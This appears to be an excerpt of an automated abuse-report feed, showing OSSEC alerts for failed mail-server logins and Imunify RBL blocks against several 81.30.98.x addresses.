2026-06-22 17:22:30 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:48114: 535 Incorrect authentication data (set_id=terminus)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-22 17:22:38 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:35500: 535 Incorrect authentication data (set_id=noc)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-22 17:22:30 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:16686: 535 Incorrect authentication data (set_id=false)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 22 17:22:40 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 22 17:22:28 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


